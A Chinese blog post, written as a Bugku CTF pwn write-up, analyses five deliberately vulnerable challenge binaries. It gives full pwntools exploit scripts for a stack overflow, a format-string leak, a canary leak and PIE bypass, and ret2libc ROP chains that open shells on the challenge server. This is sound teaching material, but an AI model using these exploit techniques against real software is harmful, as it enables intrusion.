BugkuCTF-WriteUp

PWN

pwn1

题目:nc 114.116.54.89 10001

nc上去直接给shell

1
2
3
4
5
6
7
8
9
10
11
nc 114.116.54.89 10001
ls
bin
dev
flag
helloworld
lib
lib32
lib64
cat flag
flag{6979d853add353c9}

pwn2


什么都没开,丢ida分析。

很明显的栈溢出,还有一个get_shell_()函数。

地址是0x400751,直接overflow覆盖掉main的返回地址。
solve.py

1
2
3
4
5
6
7
8
9
10
from pwn import *

#r = process("pwn2")
r = remote("114.116.54.89", 10003)

r.recvuntil("ing?")
payload = 'a'*0x30 + 'a'*0x8 + p64(0x400751)
r.send(payload)

r.interactive()


拿到flag

1
flag{n0w_y0u_kn0w_the_Stack0verfl0w}

pwn4

checksec同样没开什么保护。
丢ida分析main函数,只看到溢出,没有其它明显的利用。

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [rsp+0h] [rbp-10h]

memset(&s, 0, 0x10uLL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("Come on,try to pwn me");
read(0, &s, 0x30uLL);
puts("So~sad,you are fail");
return 0LL;
}

这时找找其它的函数,发现

1
2
3
4
int sub_400751()
{
return system("ok~you find me,but you can't get my shell'");
}

直接return了system调用,但是参数不能开shell。
不过我们有了system函数的地址0x400570
按照思路应该找出”/bin/sh”这样的参数传给system,但是在数据段中并没有找到这样的字符串。

刚入门哦,这题不尝龟了奥!不真实了
回到正题,先看linux下执行

1
echo $0


也就是说$0=shell文件名
再回头看数据段中,可以看到有一个”$0”结尾的字符串,容易算出“$0”的地址是0x60111f
然后就是传参,X64中的Calling Convention不是在栈中,而是依次使用寄存器rdi,rsi,rdx,rcx,r8,r9,当参数超过6个时才会push stack。
所以需要找出pop rdi;ret;的汇编片段,借助ROPgadget工具。

solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

#r = process("pwn4")
r = remote("114.116.54.89" ,10004)

r.recvuntil("pwn me\n")

system = 0x400570
sh = 0x60111f
pop_rdi_ret = 0x4007d3

payload = 'a'*0x18 + p64(pop_rdi_ret) + p64(sh) + p64(system)

r.sendline(payload)


r.interactive()

1
flag{264bc50112318cd6e1a67b0724d6d3af}

这一题在本机测试时crash了,我本机环境是ubuntu18的,原因是18下调用system涉及到栈对齐的知识。这个问题以后再开坑细写。主要是远端环境没影响,而且只读0x30也刚刚好。

pwn5

checksec一下

开了NX保护,先丢IDA分析一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-20h]

setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
memset(&s, 0, 0x20uLL);
puts("人类的本质是什么?\n");
read(0, &s, 8uLL);
printf(&s, &s);
puts(&s);
puts(&s);
puts(&s);
puts("一位群友打烂了复读机!");
sleep(1u);
puts("\n人类还有什么本质?");
read(0, &s, 0x40uLL);
if ( !strstr(&s, "鸽子") || !strstr(&s, "真香") )
{
puts("你并没有理解人类的本质,再见!");
exit(0);
}
puts("人类的三大本质:复读机,真香,鸽子");
return 0;
}

很明显的两处漏洞
第一处fmt漏洞

1
2
read(0, &s, 8uLL);
printf(&s, &s);

第二处overflower

1
2
3
4
char s; // [rsp+0h] [rbp-20h]
...
...
read(0, &s, 0x40uLL);

看了一下没有可利用的funtion,只能ret2libc.

先在printf处下断调试。

看到了__libc_start_main+231的返回地址,算一下可以从第11(算上6个寄存器)个参数可以leak出这个地址,再减去231的偏移拿到__libc_start_main的地址。
然后我们需要拿到libc的base,再找到对应的偏移拿到system和/bin/sh的地址。
但是题目没用给出libc文件不知道版本,那么就可以使用LibcSearcher这个工具。

然后就是栈溢出漏洞,为了不被exit掉输入中需要有“真香鸽子”才能跳过if。填充就用ljust来,因为涉及到了中文字符,utf8编码可伸缩,字节数不固定。
因为是64位所以老规矩需要找pop rdi;ret的片段。

然后构造Rop链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# coding=utf-8
from pwn import *
from LibcSearcher import *

context.log_level = "DEBUG"

r = remote("114.116.54.89", 10005)
#r = process("./human")

r.recvuntil("人类的本质是什么?")
r.send("%11$p")

#print r.recvuntil("%11$p")
leak_addr = int(r.recvuntil("%11$p")[2:-5],16)
#print leak_addr

libc_start_main = leak_addr - 231

libc = LibcSearcher("__libc_start_main", libc_start_main)
libc_base = libc_start_main - libc.dump("__libc_start_main")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")


pop_rdi_ret = 0x0000000000400933


payload = "真香鸽子".ljust(0x20+8,'a')
payload += p64(pop_rdi_ret)
payload += p64(bin_sh)
payload += p64(system)

print payload
r.recvuntil("人类还有什么本质?")
r.send(payload)

r.interactive()

因为我本地是ubuntu18,调用system要多插个ret对齐128位,这题又刚好只read0x40所以直接打了远端。
但是打远端的时候识别不出libc版本。

然后看了一下别人的writeup发现远端坏境的leak地址是__libc_start_main+240。
所以我的ubuntu18的本地库的版本和远端不一样,偏移也不一样。
所以最终libc_start_main应该是-240的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# coding=utf-8
from pwn import *
from LibcSearcher import *

context.log_level = "DEBUG"

r = remote("114.116.54.89", 10005)
#r = process("./human")

r.recvuntil("人类的本质是什么?")
r.send("%11$p")

#print r.recvuntil("%11$p")
leak_addr = int(r.recvuntil("%11$p")[2:-5],16)
#print leak_addr

libc_start_main = leak_addr - 240

libc = LibcSearcher("__libc_start_main", libc_start_main)
libc_base = libc_start_main - libc.dump("__libc_start_main")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")


pop_rdi_ret = 0x0000000000400933


payload = "真香鸽子".ljust(0x20+8,'a')
payload += p64(pop_rdi_ret)
payload += p64(bin_sh)
payload += p64(system)

print payload
r.recvuntil("人类还有什么本质?")
r.send(payload)

r.interactive()

1
flag{as67sdf834ht98e7sdyf9348yf0y}

pwn3

checksec除了relro全开

丢ida分析
main函数

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
vul();
return 0;
}

vul()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
void __cdecl vul()
{
int note_len; // [rsp+4h] [rbp-4ECh]
FILE *fp; // [rsp+8h] [rbp-4E8h]
char fpath[20]; // [rsp+10h] [rbp-4E0h]
char memory[600]; // [rsp+30h] [rbp-4C0h]
char thinking_note[600]; // [rsp+290h] [rbp-260h]
unsigned __int64 v5; // [rsp+4E8h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
memset(memory, 0, 0x258uLL);
memset(fpath, 0, 0x14uLL);
memset(thinking_note, 0, 0x258uLL);
puts("welcome to noteRead system");
puts("there is there notebook: flag, flag1, flag2");
puts(" Please input the note path:");
read(0, fpath, 0x14uLL);
if ( fpath[strlen(fpath) - 1] == 10 )
fpath[strlen(fpath) - 1] = 0;
if ( strlen(fpath) > 5 )
{
puts("note path false!");
}
else
{
fp = fopen(fpath, "r");
noteRead(fp, memory, 0x244u);
puts(memory);
fclose(fp);
}
puts("write some note:");
puts(" please input the note len:");
note_len = 0;
__isoc99_scanf("%d", &note_len);
puts("please input the note:");
read(0, thinking_note, (unsigned int)note_len);
puts("the note is: ");
puts(thinking_note);
if ( strlen(thinking_note) != 624 )
{
puts("error: the note len must be 624");
puts(" so please input note(len is 624)");
read(0, thinking_note, 0x270uLL);
}
}

边看代码边跑一边程序

第一个read读路径,并输出文件内容,读取长度设得刚好,利用不了。后面thinking_note的read里,note_len由输入决定,导致溢出。但因为开了canary保护,就需要把canary的值leak出来。再看后面第二个read读624的长度溢出24个字节,刚好可以将leak的canary写回并覆盖retaddr。
先着手解决canary保护的绕过,canary的最低位都是0x00用来截断,需要覆盖掉才能recv后面的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#r = process("./read_note")
r = remote("114.116.54.89", 10000)

context(os='linux', arch='amd64', log_level='debug')

r.recvuntil("path:")
r.send("flag")

r.recvuntil("len:")
r.sendline("1000")
r.recvuntil("please input the note:\n")
payload = 'a'*600 + 'b'
r.send(payload)
r.recvuntil('b')
canary = u64('\x00' + r.recv(7))
#log.info("canary: " + hex(canary))

有些人发送payload用sendline,就会多一个\n回车,这样payload就不需要多一位覆盖了。
然后就是覆盖retaddr。
IDA中没看到可利用的函数,所以考虑ret2libc。但是vul利用只能泄露一个值,所以要多次执行vul,就需要多次ret到main的开始地址来多次执行。虽然开了PIE保护,但是后三位地址是不变的,这样即使前面的偏移变了,我只覆盖低位的地址一样可以跳回main,从而绕过PIE。

通过IDA可以看到call vul后的返回地址是D2E,而main的起始地址是D20,所以只需溢出一个字节的0x20就可以了。

1
2
3
r.recvuntil("(len is 624)")
payload = 'a'*600 + p64(canary) + p64(1) + '\x20'
r.send(payload)

这一次需要泄露出程序的基址,因为后面找到pop_rdi的偏移需要加上这个基址才能得到实际的地址。
上面提到在main调用vul函数之后,会将call vull的下一条指令地址作为vul的ret地址,也就是上图D2E,这样只需要leak出这个返回地址再减去D2E即刻得到程序基址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
r.recvuntil("path:")
r.send("flag")
r.recvuntil("len:")
r.sendline("1000")
r.recvuntil("please input the note:\n")
payload = 'a'*615 + 'b'
r.send(payload)
r.recvuntil('b')
base = u64(r.recv(6).ljust(8,"\x00")) - 0xD2E
main_addr = base + 0xD20
#log.info("base: " + hex(base))
r.recvuntil("(len is 624)")
payload = 'a'*600 + p64(canary) + p64(1) + p64(main_addr)
r.send(payload)

main地址也可以通过base加上0xD20取得了。

1
main_addr = base + 0xD20

然后就可以通过将main_addr覆盖返回地址来检验我们泄露的基址是否正确。

这里有个问题就是我要接收多少个字节,这可以本地调试结合DEBUG接收的内容来确定。在本地调试可以看到这些地址高两个字节都是0x00,然后远端调试接收内容来看也只有6个字节。最后解包要用ljust用\x00填满8字节。
再次回到main之后,这次我们需要拿到libc的基址,很显然我们可以通过泄露libc_start_main拿到,但是libc_start_main的位置我们需要稍微思考一下。

首先分析main的指令,我们多次ret2main,都会进行push rbp的抬栈动作。程序启动时执行了一次,跳回了两次main,也就执行了两次,总共执行3次,然后call vul时也会执行一次,也就是4次。那么main的返回地址libc_start_main+240和vul的返回地址就相差了4*8,这样我们填充就要在覆盖vul返回地址的2*8(canary+rbp)的基础上再加上4*8也就是48。
更新

再配一台ubuntu16后本地打一遍发现上面的说法有误。通过观察栈可以知道,main+14也就是0xD2E距离__libc_start_main+240本来就有0x8的偏移,也就是说48=8(cannary)+3(ebp)*8+8(main+14)+8(__libc_csu_init)。上面的说法错在把call vul压入的返回地址强行再算一次。所以算这些乱七八糟的还不如附加调试看一下栈分布简单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
r.recvuntil("path:")
r.send("flag")
r.recvuntil("len:")
r.sendline("1000")
r.recvuntil("please input the note:\n")
payload = 'a'*647 + 'b'
r.send(payload)
r.recvuntil('b')
libc_start_main = u64(r.recv(6).ljust(8,"\x00")) - 240
libc = LibcSearcher("__libc_start_main", libc_start_main)
libc_base = libc_start_main - libc.dump("__libc_start_main")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

payload = 'a'*600 + p64(canary) + p64(1) + p64(main_addr)
r.send(payload)

拿到libc_start_main后就是常规的ret2libc了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pop_rdi_ret = 0x0000000000000e03
pop_rdi_ret_addr = base + pop_rdi_ret

r.recvuntil("path:")
r.send("flag")
r.recvuntil("len:")
r.sendline("1000")
r.recvuntil("please input the note:\n")
payload = 'a'*600 + p64(canary) + p64(1) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
r.send(payload)
r.recvuntil("(len is 624)")
r.send(payload)

r.interactive()

1
flag{4278bbab-7780-4d89-8443-612d24aa87c6}

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
from LibcSearcher import *
#r = process("./read_note")
r = remote("114.116.54.89", 10000)

#context(os='linux', arch='amd64', log_level='debug')

r.recvuntil("path:")
r.send("flag")

r.recvuntil("len:")
r.sendline("1000")
r.recvuntil("please input the note:\n")
payload = 'a'*600 + 'b'
r.send(payload)
r.recvuntil('b')
canary = u64('\x00' + r.recv(7))
#log.info("canary: " + hex(canary))

r.recvuntil("(len is 624)")
payload = 'a'*600 + p64(canary) + p64(1) + '\x20'
r.send(payload)

r.recvuntil("path:")
r.send("flag")

r.recvuntil("len:")
r.sendline("1000")
r.recvuntil("please input the note:\n")
payload = 'a'*615 + 'b'
r.send(payload)
r.recvuntil('b')
base = u64(r.recv(6).ljust(8,"\x00")) - 0xD2E
main_addr = base + 0xD20
#log.info("base: " + hex(base))

r.recvuntil("(len is 624)")
payload = 'a'*600 + p64(canary) + p64(1) + p64(main_addr)
r.send(payload)

r.recvuntil("path:")
r.send("flag")
r.recvuntil("len:")
r.sendline("1000")
r.recvuntil("please input the note:\n")
payload = 'a'*647 + 'b'
r.send(payload)
r.recvuntil('b')
libc_start_main = u64(r.recv(6).ljust(8,"\x00")) - 240
libc = LibcSearcher("__libc_start_main", libc_start_main)
libc_base = libc_start_main - libc.dump("__libc_start_main")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

payload = 'a'*600 + p64(canary) + p64(1) + p64(main_addr)
r.send(payload)

pop_rdi_ret = 0x0000000000000e03
pop_rdi_ret_addr = base + pop_rdi_ret

r.recvuntil("path:")
r.send("flag")
r.recvuntil("len:")
r.sendline("1000")
r.recvuntil("please input the note:\n")
payload = 'a'*600 + p64(canary) + p64(1) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
r.send(payload)
r.recvuntil("(len is 624)")
r.send(payload)

r.interactive()

后续
在网上的看到的wp全都是跳回0xD20,这样导致的问题就是要算多次push ebp的偏移。经我观察其实跳call vul就可以了,毕竟漏洞都是vul函数里的。也不用算那些乱起八糟的偏移(调试看栈分布的倒是影响不大)。
船新版本exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
from LibcSearcher import *
r = process("./read_note")
#r = remote("114.116.54.89", 10000)

context(os='linux', arch='amd64', log_level='debug')

r.sendafter("path:", "flag")

r.sendlineafter("len:", "1000")
payload = 'a'*600 + 'b'
r.sendafter("please input the note:\n", payload)
r.recvuntil('b')
canary = u64('\x00' + r.recv(7))
#log.info("canary: " + hex(canary))

payload = 'a'*600 + p64(canary) + p64(1) + '\x29'
r.sendafter("(len is 624)", payload)

r.sendafter("path:", "flag")

r.sendlineafter("len:", "1000")
payload = 'a'*615 + 'b'
r.sendafter("please input the note:\n", payload)
r.recvuntil('b')
base = u64(r.recv(6).ljust(8,"\x00")) - 0xD2E
call_vul_addr = base + 0xD29
#log.info("base: " + hex(base))

payload = 'a'*600 + p64(canary) + p64(1) + p64(call_vul_addr)
r.sendafter("(len is 624)", payload)

r.sendafter("path:", "flag")
r.sendlineafter("len:", "1000")
payload = 'a'*631 + 'b'
r.sendafter("please input the note:\n", payload)
r.recvuntil('b')
libc_start_main = u64(r.recv(6).ljust(8,"\x00")) - 240
libc = LibcSearcher("__libc_start_main", libc_start_main)
libc_base = libc_start_main - libc.dump("__libc_start_main")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

payload = 'a'*600 + p64(canary) + p64(1) + p64(call_vul_addr)
r.sendafter("(len is 624)", payload)

pop_rdi_ret = 0x0000000000000e03
pop_rdi_ret_addr = base + pop_rdi_ret

r.sendafter("path:", "flag")
r.sendlineafter("len:", "1000")
payload = 'a'*600 + p64(canary) + p64(1) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
r.sendafter("please input the note:\n", payload)
r.sendafter("(len is 624)", payload)

r.interactive()
文章作者: SNCKER
文章链接: https://sncker.github.io/blog/2020/03/05/BugkuCTF-WriteUp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 SNCKER's blog